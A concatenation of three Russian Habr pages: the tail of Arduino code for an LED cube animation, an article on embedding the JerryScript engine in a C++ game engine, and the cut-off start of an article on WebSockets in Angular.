LedON(LEDM[i][z]);
}
}
for (c=0;c<4;c++){
LedON(LEDF[c]);
delay(dt);
LedOFF(LEDF[c]);
}
LedOFFAll();
} //end nprog 3
//############ Prog 4 ##############
// Zmeyka po granyam
if (nprog ==4){
dt=30;
while(1){
x=v;
v=random(0,3);
if(x!=v){break;}
}
if(v==0){if(i==0){
for(b=0;b<4;b++){i=b;DotON(i,z,c); delay(dt); DotOFF(i,z,c);}}
else{
for(b=3;b>-1;b--){i=b;DotON(i,z,c); delay(dt); DotOFF(i,z,c);}}
}
if(v==1){if(z==0){
for(b=0;b<4;b++){z=b;DotON(i,z,c); delay(dt); DotOFF(i,z,c);}}
else{
for(b=3;b>-1;b--){z=b;DotON(i,z,c); delay(dt); DotOFF(i,z,c);}}
}
if(v==2){if(c==0){
for(b=0;b<4;b++){c=b;DotON(i,z,c); delay(dt); DotOFF(i,z,c);}}
else{
for(b=3;b>-1;b--){c=b;DotON(i,z,c); delay(dt); DotOFF(i,z,c);}}
}
} //end nprog 4
//############ Prog 5 ##############
// goryashie grani
if (nprog == 5){
for (c=0;c<4;c++){
LedON(LEDF[c]);
for (i=0;i<12;i++){
LedON(ma[i]);
if (c==1 | c==2){
i=i+2;
}
}
delay(dts);
LedOFF(LEDF[c]);
for (i=0;i<12;i++){
LedOFF(ma[i]);
}
}
}// end nprog 5
//############ 6 ###########
// ploskosti po ocheredi
if (nprog==6){
// ON begin
for (i=0;i<4;i++){
LedON(LEDM[i][0]);
LedON(LEDM[i][3]);
LedON(LEDF[i]);
}
delay(1000);
LedOFFAll();
for (i=0;i<4;i++){
LedON(LEDM[0][i]);
LedON(LEDM[3][i]);
LedON(LEDF[i]);
}
delay(1000);
LedOFFAll();
} //end nprog 6
//############ 7 ###########
if (nprog==7){
i=random(0,4);
z=random(0,4);
c=random(0,4);
DotON(i,z,c);
delay(dt);
DotOFF(i,z,c);
} //end nprog 7
//############ 8 ###########
if (nprog==8){
//random up
i=random(0,4);
z=random(0,4);
v=random(0,4);
b=random(0,4);
a=random(0,4);
s=random(0,4);
LedON(LEDM[i][z]);
LedON(LEDM[v][b]);
LedON(LEDM[a][s]);
for (c=0;c<4;c++){
LedON(LEDF[c]);
delay(dt);
LedOFF(LEDF[c]);
}
LedOFF(LEDM[i][z]);
LedOFF(LEDM[v][b]);
LedOFF(LEDM[a][s]);
} //end nprog 8
//############ 8 ###########
if (nprog==9){
//obhod po krugu
LedOFFAll();
for(c=0;c<4;c++){
LedON(LEDF[c]);
}
for(i=0;i<12;i++){
LedON(ma[i]);
delay(dt);
if(i>1){LedOFF(ma[i-2]);}
}
} //end nprog 9
} // end loop
```
[Led Romb](http://youtu.be/EM6GVZ_hAMg)
Спасибо за внимание.
З.Ы. Пересматривая перед публикацией статью увидел край подставки под кружки. Чую будут вопросы «что под кружкой?».
Вот:
Склеено клеевым пистолетом.
 | https://habr.com/ru/post/234019/ | null | ru | null |
# Как я встраивал JS в свой игровой движок
Писать на С++ игры долго и дорого, но при этом по перфомансу получается хорошо. Но далеко не всё в играх, требовательно к производительности, особенно 2D. Например всякие окошечки не производят тяжелых расчетов внутри. А на больших проектах они могут занимать до 80% всего объема кода. И на С++ есть проблемы на продакшене - если где-то крешится или бажит, приходится перезаливать приложение.
Скрипты - решение всех бед. И код писать проще, и обновлять приложение можно через дозагрузку (да-да, сторы явно запрещают это, но на деле все так делают).
Почему JS?
----------
В мире полно скриптовых языков - LUA, LUAu, Squirrel, AngleScript и так далее. Обычно в подобные движки встраивают LUA. Он маленький, простой и довольно производительный. Но на нем катастрофически мало пишут людей. Да, его можно быстро изучить. Но изучить и уже знать - две большие разницы. Поэтому я искал что-то уже распространенное, но в тоже время очень маленькое и простое для встраивания.
Я смотрел на два языка - JS и C#. Рантаймы для обоих языков тяжелые. Для JS казался самым очевидным выбор google V8, который требовал минимум 6mb бинаря, что крайне много в мобильном геймдеве. C# вроде как развивается, mono стал общедоступным и тоже был интересным кандидатом. Тем более что уже есть целая армия Unity-разработчиков, плотно подсевших на C#. Но его рантайм тоже был тяжелым и сложным для встраивания.
Из этих двух я больше склонялся к JS по нескольким причинам:
* это язык не как в Unity;
* web-сообщество огромное, и они тоже хотят делать игры;
* сам по себе JS не строго типизированный, но есть TypeScript, который транслируется в JS, и он уже строго типизированный. Таким образом внедрив JS, можно было бы использовать еще и TypeScript.
Потом как-то пособеседовал одного кандидата на работе, тоже из студии мобильных игр. И он рассказал, что уже несколько лет пишут на JS на плюсовом движке. Мне, как разработчику своего движка стало интересно, что да как.
Он рассказал что у них движок, похожий на Cocos2D, написанный на С++, в который встроен JS-движок [JerryScript](https://jerryscript.net/). Бам! О таком движке я не знал. Он маленький, заточенный на производительность. Из похожих я видел только [QuickJS](https://bellard.org/quickjs/), но у него просто отсутствует документация. И я стал изучать подробнее. Все же если целая контора использует его в продакшене, это что-то да значит.
Я бегло изучил API и примеры, собрал тестовый проект и все заработало с пол пинка. Это круто, потому что собрать какой-нибудь V8 весьма не просто и долго.
Как все устроено
----------------
Итак, я выделил 2 основные вещи для поддержания скриптинга: это подсистема скриптового движка и класс-обертка над скриптовым значением.
[Подсистема скриптового движка](https://github.com/zenkovich/o2/blob/8351008e36bbdc6243a49e23b6fb96a627002138/Framework/Sources/o2/Scripts/ScriptEngine.h#L41) довольно простая: она умеет парсить скрипт, выполнять скрипт, возвращать глобальный неймспейс, вызывать очистку мусора и подключать отладчик.
Кстати, один из плюсов jerry еще и наличие готового отладчика. Достаточно поставить [плагин для VS Code](https://marketplace.visualstudio.com/items?itemName=Samsung.iotjs-vscode-extension), и вызвать коннект из кода. Вауля, отладчик прицепился, можно посмотреть что и как выполняется. Однако, есть один минус - он плохо показывает содержимое объектов. Точнее, он их не показывает, пишет просто [object] и все. Кажется, авторы jerry здесь как-то поленились и не довели передачу информации до конца. Что ж, не страшно, добавим сами!
### ScriptValue всему голова!
У jerry для скриптового значения используется `jerry_value_t`. Так как все API C-шное, то и никаких удобных классов естественно нет. Есть куча C-шных функций. Это значение и C-шные функции я обернул в свой класс, [ScriptValue](https://github.com/zenkovich/o2/blob/8351008e36bbdc6243a49e23b6fb96a627002138/Framework/Sources/o2/Scripts/ScriptValueDef.h#L17).
Кажется что это простой класс, но он должен уметь делать многое:
* хранить в себе скриптовое значение;
* хранить в себе функцию, свободную или функцию класса;
* хранить в себе указатель на С++ объект;
* понимать что за тип там хранится;
* уметь кастить содержимое в нужный тип;
* понимать что за тип С++ объекта в нем хранится;
* вызывать функции;
* работать с полями объектов: добавлять, удалять, итерировать;
* работать со значением как с массивом.
Где-то там держится за сердце один из адептов SOLID... Но это API оборачивает скриптовое значение, которое по факту все это должно уметь. Ведь в JS переменная может содержать в себе что угодно. Разберемся сначала с тем что есть переменная в JS.
В ней может хранится либо примитивный тип (int, number, string, bigInt), функция, объект или массив. По сути такой вариант, который может мимикрировать. Это и есть динамическая типизация. В переменной хранится значение какого-то типа, и она в любой момент может поменять свой тип.
### Хранение значения
ScriptValue хранит внутри `jerry_value_t`, который по сути является неким указателем на значение в контексте jerry. Важно понимать как работать с этим значением.
Его нужно создавать и удалять. Иначе - ошибка в рантайме. Jerry подсчитает количество ссылок, и скажет тебе что ты забыл освободить чего-то. Создавать значение нужно сразу нужного типа, например `jerry_create_undefined` или `jerry_create_object`. По окончанию использования его нужно освободить, вызвав `jerry_release_value`.
Чтобы скопировать значение (простые типы копируются, на объекты копируется ссылка) нужно использовать `jerry_acquire_value`.
Оборачиваем эти функции где нужно и уже не нужно заботится об освобождении `jerry_value_t`.
### Простые типы
Для передачи и получения значений я использовал такой же паттерн со специализацией шаблонов, что и для своего [DataValue](https://github.com/zenkovich/o2/blob/master/Framework/Sources/o2/Utils/Serialization/DataValue.h).
В самом классе объявляются шаблонные функции [operator T](https://github.com/zenkovich/o2/blob/8351008e36bbdc6243a49e23b6fb96a627002138/Framework/Sources/o2/Scripts/ScriptValueDef.h#L65) и [operator=(T)](https://github.com/zenkovich/o2/blob/8351008e36bbdc6243a49e23b6fb96a627002138/Framework/Sources/o2/Scripts/ScriptValueDef.h#L65), которые принимают в себя любой тип. Внутри происходит специализация шаблона [Converter](https://github.com/zenkovich/o2/blob/8351008e36bbdc6243a49e23b6fb96a627002138/Framework/Sources/o2/Scripts/ScriptValueDef.h#L24). Далее для разных типов `T` пишутся [специализации Converter](https://github.com/zenkovich/o2/blob/8351008e36bbdc6243a49e23b6fb96a627002138/Framework/Sources/o2/Scripts/JerryScript/ScriptValueConverters.h#L86) со всякими SFINAE-штуковинами.
Пример специализации
```
template
struct Converter
{
static constexpr bool isSupported = true;
using \_\_type = typename std::conditional::value, int, \_type>::type;
static void Write(const \_\_type& value, ScriptValue& data);
static void Read(\_\_type& value, const ScriptValue& data);
};
template
struct Converter>
{
static constexpr bool isSupported = true;
static void Write(const Map<\_key, \_value>& value, ScriptValue& data)
{
data.jvalue = jerry\_create\_object();
for (auto& kv : value)
data.SetProperty(ScriptValue(kv.first), ScriptValue(kv.second));
}
static void Read(Map<\_key, \_value>& value, const ScriptValue& data)
{
if (data.GetValueType() == ValueType::Object)
{
value.Clear();
data.ForEachProperties([&](const ScriptValue& name, const ScriptValue& value) {
value[name.GetValue<\_key>()] = name.GetValue<\_value>();
});
}
}
};
```
Таким образом описывается различное поведение для разных типов при присваивании и получении значения.
С простыми типами все просто, используем готовые API jerry. Со всем остальным уже интереснее.
Начнем с таких типов как [Vec2](https://github.com/zenkovich/o2/blob/master/Framework/Sources/o2/Utils/Math/Vector2.h) или [Rect](https://github.com/zenkovich/o2/blob/master/Framework/Sources/o2/Utils/Math/Rect.h). У них внутри есть свои поля типа `x, y`; и есть какой-то функционал. Нужно чтобы эти же поля были и в скрипте, и был доступен похожий функционал.
Прокидывать нативные классы в JS мы не будем, т.к. это очевидный оверхед. Конвертация между JS и C++ нужна только на моменте стыка данных. Внутри JS гораздо оптимальнее работать со своими структурами данных, чем с биндингами нативных объектов. А конвертировать уже на этапе передачи или получения значения в/из скрипта.
Поэтому пишем [JS-классы этих типов](https://github.com/zenkovich/o2/blob/master/Framework/Assets/Scripts/Math.js), чтобы уметь с ними работать в скриптах. Теперь нужно их как-то замапить на С++ объекты. Здесь немного остановимся и разберемся что есть класс в JS и как он устроен внутри.
### Классы в JS
Классы в JS - это чисто синтаксический сахар. На самом деле их нет. Объекты классов - это обычные объекты с полями внутри, но с ссылкой на некий прототип. Этот прототип один для всех классов одного типа. А сами классы - это даже не объекты, а специальные constructor функции. Само объявление класса - это замыкание, которое возвращает такую constructor-функцию. Рассмотрим пример:
```
class MyClass
{
constructor() { this.abc = "abc" }
myFunction() { print(this.abc) }
}
```
Он под капотом представляет себя что-то такое:
```
MyClass = (function() {
function MyClass() { this.abc = "abc" }
MyClass.prototype.myFunction = function() { print(this.abc) }
return MyClass;
}) ();
```
Выглядит хитро, но попробуем разобраться. Мы объявляем функцию и сразу же ее вызываем. Это нужно чтобы спрятать внутренности от всех. Такой вот метод сокрытия от публичности. Внутри мы объявляем функцию, которая является конструктором, т.к. она работает с this. Далее к прототипу этой функции (который потом будет прототипом инстансов класса) прицепляем нашу функцию. И в конце в нашей базовой функции возвращаем эту хитрую функцию-конструктор.
В самом языке есть ключевое слово `new`, которое работает с функциями-конструкторами, делая экземпляр класса.
Спрашиваете, зачем, черт тебя дери, нам это? Но это очень важно понимать чтобы понять как прокинуть классы в JS и наоборот.
### JS класс в С++ и наоборот
Вернемся обратно к теме проброса `Vec2` и `Rect` в JS и обратно. Когда мы передаем значение из C++ в JS, то в JS мы должны получить экземпляр класс `Vec2`, описанного в JS. Для этого мы конструируем объект, добавляем туда необходимые поля (x и y, например) и вручную назначаем прототип этого объекта, такой же как и прототип класса `Vec2`. Для этого нам нужно взять прототип из JS, что я сделал несколько костыльно (не нашел нужных функций API): `o2Scripts.Eval("Vec2.prototype")`. Затем передать его в `ScriptValue` через `jerry_set_prototype`. Таким образом мы при передаче [Vec2](https://github.com/zenkovich/o2/blob/master/Framework/Sources/o2/Utils/Math/Vertex2.h) из С++ мы получаем [Vec2](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Assets/Scripts/Math.js#L1) уже в JS, имеющий все нужные методы для работы.
Из JS в C++ конвертить просто, мы уже знаем тип из плюсов и просто достаем поля их объекта (`x, y`):
```
template<>
struct Converter
{
static constexpr bool isSupported = true;
static void Write(const Vec2F& value, ScriptValue& data)
{
data.jvalue = jerry\_create\_object();
data.SetPrototype(\*ScriptValuePrototypes::GetVec2Prototype());
data.SetProperty("x", ScriptValue(value.x));
data.SetProperty("y", ScriptValue(value.y));
}
static void Read(Vec2F& value, const ScriptValue& data)
{
value.x = data.GetProperty("x");
value.y = data.GetProperty("y");
}
};
```
Теперь перейдем к С++ объектам, которые нужно передать в скрипт. Например, у нас есть такой класс:
```
class Test: public ISerializable
{
SERIALIZABLE(TestInside);
public:
float mFloat = 1.2f; // @SERIALIZABLE @SCRIPTABLE
String mString = String("bla bla"); // @SERIALIZABLE @SCRIPTABLE
bool mBool = true; // @SERIALIZABLE @SCRIPTABLE
ComponentRef mComponent; // @SERIALIZABLE @SCRIPTABLE
Ref mRigidBody; // @SERIALIZABLE @SCRIPTABLE
public:
Test(); // @SCRIPTABLE
int DoSmth(float param); // @SCRIPTABLE
};
```
Нужно уметь прокидывать такой класс в скрипт, уметь конструировать его из скрипта, обращаться к полям класса и вызывать его методы.
jerry предоставляет способ прокинуть в скриптовое значение указатель на свои данные. Для этого используется функция:
```
void jerry_set_object_native_pointer (const jerry_value_t obj_val,
void *native_pointer_p,
const jerry_object_native_info_t *native_info_p);
```
Рассмотрим ее параметры:
* `const jerry_value_t obj_val` - это, собственно, в какое скриптовое значение добавлять данные, тут все понятно;
* `void *native_pointer_p` - указатель на данные, ништяк;
* `const jerry_object_native_info_t *native_info_p` - указатель на структуру, описывающую способ владения данными.
Последнее - самое интересное и самое не удобное. Это указатель на некий контрольный блок, общий для определенного типа данных, который управляет освобождением данных из `native_pointer_p`.
Этот блок нужен чтобы работал Garbage Collector, который в некий момент может решить убить скриптовое значение, а вместе с ним нужно освободить наши данные из указателя.
Но вот незадача, в структуре этого блока функция `Free` - статичная. Это значит что под каждый тип данных нужно писать свою структуру управляющего бока. Неудобно.
Но есть обходное решение, хотя и несколько затратное в ресурсах. Итак, мы и правда объявляем [управляющий блок](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/JerryScript/ScriptValueBase.h#L141) для всех своих данных одинаковый. Но свои данные заворачиваем в обобщенный [контейнер IDataContainer](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/JerryScript/ScriptValueBase.h#L25), а в нем уже храним что нам нужно.
Управляющий блок
```
struct IDataContainer
{
bool isDataOwner = true;
virtual ~IDataContainer() = default;
virtual void* GetData() const { return nullptr; }
virtual IObject* TryCastToIObject() const { return nullptr; }
virtual const Type* GetType() const { return nullptr; }
};
...
struct DataContainerDeleter
{
jerry_object_native_info_t info;
DataContainerDeleter();
static void Free(void* ptr);
};
static DataContainerDeleter& GetDataDeleter();
...
ScriptValueBase::DataContainerDeleter& ScriptValueBase::GetDataDeleter()
{
static DataContainerDeleter deleter;
return deleter;
}
ScriptValueBase::DataContainerDeleter::DataContainerDeleter()
{
info.free_cb = &Free
}
void ScriptValueBase::DataContainerDeleter::Free(void* ptr)
{
delete (IDataContainer*)ptr;
}
```
[Здесь](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/JerryScript/ScriptValueImpl.h#L86) можно посмотреть как нативные данные передаются в скриптовое значение.
Для удобной работы с нативными данным в `ScriptValue` есть еще несколько функций:
* `bool IsObjectContainer() const;` - чтобы понять хранится ли какой-то объект внутри впринципе;
* `const Type* GetObjectContainerType() const;` - чтобы получить тип хранимого объекта;
* `void* GetContainingObject() const;` - получить сырой указатель на объект.
Отдельный момент про владение нативным объектом. Пока что у меня сделано не очень хорошо, т.к. владение не регламентировано жестко и могут возникнуть проблемы.
Суть в том, что объект создается из нативной части, где память управляется вручную. При этом есть GC в JS, который тоже как-то управляет памятью. Соответственно могут быть ситуации, когда GS должен удалить нативный объект, и когда не должен. По сути это определяется тем, владеет ли `ScriptValue` нативным объектом или нет. Если владеет, то его судьба полностью подвластна GC. Если нет - то `ScriptValue` просто хранит указательна объект, но никак его не удаляет.
Отсюда могут возникнуть проблемы. Например, прокинули объект в скрипты и убили его. Скрипт не узнает об этом. Или наоборот, скрипт владеет объектом, а мы его прибили из нативного кода.
Сейчас владение объектов по сути на совести разработчика. Но, на мой взгляд, есть более правильный способ владения объектом - через умные указатели. Если скрипт владеет объектом, то он держит сильную ссылку, если нет - слабую. Таким образом и скрипт, и нативный код защищены от непредвиденного удаления объекта.
Такой подход я сделаю когда весь движок переведу на умные указатели. Да да, у меня ручное управление памятью, и оно мне не нравится...
### Поля классов
Так, прокинули объект в скрипт. Но из скрипта с ним ничего не сделать, т.к. это просто объект без полей и плюсовые поля класса и методы никак не соотносятся со скриптом. Разберем сначала как работает биндинг полей класса в скрипт.
По сути нам нужно в объект добавить property, который соотносится с указателем поля из нативного объекта. Либо эта property является оберткой над паркой setter/getter.
Чтобы сделать кастомизируемое property, нужно использовать специальную функцию `jerry_define_own_property`. Она добавляет проперти в объект, но с неким описанием как это поле работает - `jerry_property_descriptor_t`.
Оно включает в себя параметры конфигурации поля, в котором можно задать setter и getter поля. Их мы и заиспользуем. Эти setter и getter - тоже скриптовые значения, которые должны быть функциями с определенной сигнатурой.
Для этого определим указатели на нативные функции, к которым прицепим нативный контейнер с интерфейсом setter'а или getter'а, в котором уже будем работать с указателем на поле нативного объекта. Подробнее можно глянуть в функции [SetPropertyWrapper()](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/JerryScript/ScriptValueImpl.h#L143). В результате этих операций мы получаем property в объекте, который вызывает специальные setter и getter , которые уже работают с указателем на значение.
Рядом же есть [реализация](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/JerryScript/ScriptValueImpl.h#L196) property не через указатель, а через функции.
### Проброс функции из C++ в JS
Так, у нас теперь есть объект с полями. Откуда они там зарегистрируются - попозже, вкратце через кодогенерацию. Теперь нам нужны функции.
Здесь jerry API тоже нас не балует удобством и предоставляет интерфейс биндинга функции в скриптовое значение *статичной* функции... Снова пишем обертки!
По факту мы действительно биндим одну единственную статичную функцию на все типы функций, но саму функцию запихиваем через нативный объект. Да, скриптовое значение, которое является функцией, может еще и держать указатель на кастомные данные.
Делаем уже по привычному пути и даже используем тот же [интерфейс для хранения обертки над функцией](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/JerryScript/ScriptValueBase.h#L61). А в [статичной функции](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/JerryScript/ScriptValueImpl.cpp#L400) обращаемся к этому контейнеру и вызываем функцию.
Вызов функции
```
jerry_value_t ScriptValue::CallFunction(const jerry_value_t function_obj,
const jerry_value_t this_val,
const jerry_value_t args_p[], const jerry_length_t args_count)
{
void* ptr = nullptr;
jerry_get_object_native_pointer(function_obj, &ptr, &GetDataDeleter().info);
IFunctionContainer* container = dynamic_cast((IDataContainer\*)ptr);
return container->Invoke(this\_val, (jerry\_value\_t\*)args\_p, args\_count);
}
```
Пока все просто. Но еще нужно передать параметры! Тут все интересно. Ведь на стороне JS список параметров - это массив `jerry_value_t` . На стороне С++ - это конкретная сигнатура функции. Пахнет магией шаблонов.
При вызове [функции из контейнера](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/JerryScript/ScriptValueImpl.h#L261) нам нужно упаковать параметры из JS в `tuple<>` для передачи в нативную функцию. Каждый отдельный параметр мы просто кастим через оператор каста в `ScriptValue`. А чтобы их все проитерировать, мы итерируем параметры из сигнатуры нативной функции через шаблоны - `UnpackArgs`.
UnpackAgs
```
template
void ScriptValueBase::UnpackArgs(std::tuple<\_args ...>& argst, jerry\_value\_t\* args, int argsCount)
{
if (\_j < argsCount)
{
ScriptValue tmp;
tmp.AcquireValue(args[\_j]);
std::get<\_i>(argst) = tmp.GetValue(argst))>::type>();
if constexpr (\_i + 1 != sizeof...(\_args))
UnpackArgs<\_i + 1, \_j + 1>(argst, args, argsCount);
}
}
```
Эта функция принимает в качестве параметров шаблона индекс параметра! и тип аргументов. Внутри рекурсия с инкрементом индекса параметра и обращение к элементу `tuple` через `std::get`.
Оборачиваем всякой шелухой на удаление ссылок из типов, проверяем как именно должна вызываться функция - с возвращаемым значением или нет, и вызываем нативную функцию через `std::apply()`. В нее передаем указатель на функцию и `tuple` с параметрами.
Теперь, мы умеем прокинуть нативную функцию из С++ в JS и вызвать ее из JS. Немножко сложнее вызываются функции класса, там нужно еще и обработать this
### Проброс функции JS в C++
А как вызвать из С++ функцию из JS? Процесс идет наоборот, но немного проще.
Сначала объявляем интерфейс вызова через передачу параметров в виде скриптовых значений - [InvokeRaw](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/JerryScript/ScriptValueImpl.cpp#L363). В ней просто дергаем jerry API - `jerry_call_function`.
Ну а чтобы иметь нормальный плюсовый интерфейс вызова функции, нам нужны [variadic templates](https://habr.com/ru/post/228031/) и их упаковка в массив `ScriptValue`. Для этого используем функцию [PackArgs](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/ScriptValueDef.h#L230) с магией итерирования по variadic templates.
PackArgs
```
template
static void PackArgs(Vector& argsValues, \_args ... args)
{
([&](auto& arg) { argsValues.Add(ScriptValue(arg)); } (args), ...);
}
```
В результате имеем человеческий вызов [Invoke](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/ScriptValueDef.h#L218), который сам конвертирует параметры и передаст в скрипт.
```
template
\_res\_type Invoke(\_args ... args) const;
```
#### Регистрация С++ классов в JS
Для начала нужно как-то объявить конструктор. Помните выше описывал как работают конструкторы в JS? Вот нам нужно все то же самое сделать для нативных классов.
Определяем функцию, которая работает с this, подсовывая туда свежесозданный нативный объект, дополняя полями и функциями, которые маппятся на этот нативный объект.
Функция [определяется тут](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/JerryScript/ScriptValueImpl.h#L418). В ней мы конструируем объект и с помощью кодгена прокидываем данные о полях и функциях, используя вышеперечисленное API `ScriptValue`
Определение функции-конструктора для класса
```
template
void ScriptConstructorTypeProcessor::FunctionProcessor::Constructor(\_object\_type\* object, Type\* type)
{
ScriptValue thisFunc;
thisFunc.SetThisFunction(Function(
[](ScriptValue thisValue, \_args ... args) {
\_object\_type\* sample = mnew \_object\_type(args ...);
thisValue.SetContainingObject(sample, true);
if constexpr (std::is\_base\_of::value && !std::is\_same::value)
{
ReflectScriptValueTypeProcessor processor(thisValue);
\_object\_type::template ProcessType(sample, processor);
}
}));
ScriptConstructorTypeProcessor::RegisterTypeConstructor(type, thisFunc);
}
```
Не буду углубляться глубоко в кодогенерацию, т.к. сейчас эта часть у меня переусложнена. Вкратце у меня генерируется шаблонный метод по перебору всех метаданных класса, в который передается какой-то класс-процессор. Есть такой процессор для сериализации, а есть для биндинга скриптов.
В этот процессор на вход попадает `ScriptValue` и указатель на класс. Он заполняет ScriptValue полями из класса и функциями. Заполняет только теми, у которых есть атрибут `@SCRIPTABLE`.
### Как скрипты используются для написания логики
У меня есть граф сцены, логика заключена в компонентах. Для скриптов добавлен [ScriptableComponent](https://github.com/zenkovich/o2/blob/master/Framework/Sources/o2/Scene/Components/ScriptableComponent.h), который держит в себе путь до скрипта и `ScriptValue`-инстанс класса из этого скрипта. В нем вызывает всякие `OnStart`, `Update`, `OnEnabled/Disabled` функции из `ScriptValue`. Сам инстанс обозначен как `serializable`. Для него написан [конвертор](https://github.com/zenkovich/o2/blob/c844df77f79cd176add2d41936d3e2ab901a7aa3/Framework/Sources/o2/Scripts/JerryScript/ScriptValueImpl.h#L447), который просто перебирает все property и пишет в `DataValue` (обертка над json).
### Редактор
Редактор Scriptable ComponentЧтобы отобразить все параметры в редакторе есть специальное поле редактора [ScriptValueProperty](https://github.com/zenkovich/o2/blob/master/Editor/Sources/o2Editor/Core/Properties/Basic/ScriptValueProperty.h), которая показывает содержимое `ScriptValue` и позволяет его редактировать. По умолчанию воспринимает `ScriptValue` как объект и вытаскивает поля из него. Но может работать с ним и как с массивом.
Пример скрипта из скриншота
```
test = class test {
constructor() {
this.a = 5;
this.b = 'bla bla bla';
this.c = false;
this.d = { a: 5, b: false, c: 'stroka' };
this.e = new Vec2(3, 50);
this.f = new Rect(0, 1, 2, 3);
this.g = new Border(0, 1, 2, 3);
this.h = new Color4(255, 255, 255, 127);
this.ref = new o2.RefAnimationAsset('xxx.anim');
this.ref2= new o2.RefActorAsset();
this.sprite = new o2.Sprite();
this.actorRef = new o2.RefActor();
this.bodyRef = new o2.RefRigidBody();
this.curve = new o2.Curve();
this.obj = new o2.EditorTestComponent.TestInside();
this.array = [ 1, 2, 3, 4, 5 ];
}
OnStart() {
if (this.actorRef.IsValid()) {
this.actorRef.Get().transform.position = new Vec2(10, 20);
}
}
Update(dt) {
this.a += dt;
this.e = new Vec2(Math.sin(this.a), Math.cos(this.a));
if (this.actorRef.IsValid()) {
this.actorRef.Get().transform.size = this.e;
}
}
}
```
P.S. Мою имплементацию ни в коем случае не стоит считать эталонной. Эта первая версия, не обкатанная. Она не претендует на идеал решения, но я бы с радостью узнал мнение других. | https://habr.com/ru/post/673904/ | null | ru | null |
# WebSockets в Angular. Часть 2. Продуктовые решения
В [предыдущей статье](https://habr.com/post/416155/) речь шла об общем решении для вебсокетов в Angular, где мы на основе WebSocketSubject построили шину с реконнектом и сервисом для использования в компонентах. Подобная реализация подходит для большинства простых случаев, например, приема и отправки сообщений в чате и т.д., но её возможностей может быть недостаточно там, где нужно построить нечто более гибкое и контролируемое. В этой статье я раскрою некоторые особенности при работе с вебсокетами и расскажу о тех требованиях, с которыми сталкивался сам и, возможно, столкнетесь вы.
Часто в больших проектах с высокой посещаемостью перед фронтендом встают задачи, которые в других обстоятельствах привычнее видеть на бэкенде. В условиях жесткой экономии серверных ресурсов часть проблем мигрирует на территорию фронтенда, по этой причине в проект закладывается максимум расширяемости и контроля.
Вот список основных требований для вебсокет-клиента, которые будут рассматриваться в этой статье:
* Автоматический «умный» реконнект;
* Режим дебага;
* Система подписок на события на основе RxJs;
* Прием и парсинг бинарных данных;
* Проецирование (маппинг) получаемой информации на модели;
* Контроль над изменениями моделей по мере прихода новых событий;
* Игнорирование произвольных событий и отмена игнорирования.
Рассмотрим каждый пункт подробнее.
Реконнект/Дебаг
---------------
Про реконнект я писал в предыдущей статье, поэтому просто процитирую часть текста:
> Реконнект, или организация переподключения к серверу, это первостепенный фактор при работе с вебсокетами, т.к. обрывы сети, падения сервера или другие ошибки, вызывающие обрыв коннекта способны обрушить работу приложения.
>
> Важно учесть, что попытки переподключения не должны быть слишком частыми и не должны продолжаться до бесконечности, т.к. такое поведение способно подвесить клиент.
Сам по себе вебсокет не умеет восстанавливать соединение при обрыве. Следовательно, если перезагрузился или упал сервер, или же у пользователя переподключился интернет, то для продолжения работы нужно переподключиться и вебсокету.
В этой статье для реконнекта и дебага будет использоваться [Reconnecting WebSocket](https://github.com/pladaria/reconnecting-websocket), который содержит нужный функционал и прочие опции, такие как смена url вебсокета между переподключениями, выбор произвольного конструктора WebSocket и т.д. Также подойдут и другие альтернативные решения. Реконнект же из предыдущей статьи не подходит, т.к. он написан под WebSocketSubject, который в этот раз не применяется.
Система подписок на события на основе RxJs
------------------------------------------
Для использования вебсокетов в компонентах нужно подписываться на события и отписываться от них, когда потребуется. Для этого воспользуемся распространенным дизайн-паттерном [Pub/Sub](https://ru.wikipedia.org/wiki/%D0%98%D0%B7%D0%B4%D0%B0%D1%82%D0%B5%D0%BB%D1%8C-%D0%BF%D0%BE%D0%B4%D0%BF%D0%B8%D1%81%D1%87%D0%B8%D0%BA_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)).
> «Издатель-подписчик (англ. publisher-subscriber или англ. pub/sub) — поведенческий шаблон проектирования передачи сообщений, в котором отправители сообщений, именуемые издателями (англ. publishers), напрямую не привязаны программным кодом отправки сообщений к подписчикам (англ. subscribers). Вместо этого сообщения делятся на классы и не содержат сведений о своих подписчиках, если таковые есть. Аналогичным образом подписчики имеют дело с одним или несколькими классами сообщений, абстрагируясь от конкретных издателей.»
Подписчик обращается к издателю не напрямую, а через промежуточную шину — сервис вебсокетов. Также должна быть возможность подписаться на несколько событий с одинаковым типом возвращаемых данных. Для каждой подписки создается собственный Subject, который добавляется к объекту listeners, что позволяет адресовать события вебсокета нужным подпискам. При работе с RxJs Subject, возникают некоторые сложности с отписками, поэтому создадим несложный сборщик мусора, который будет удалять сабжекты из объекта listeners в случае, когда у них отсутствуют observers.
Прием и парсинг бинарных данных
-------------------------------
WebSocket поддерживает передачу бинарных данных, файлов или стримов, что часто используется в больших проектах. Это выглядит примерно следующим образом:
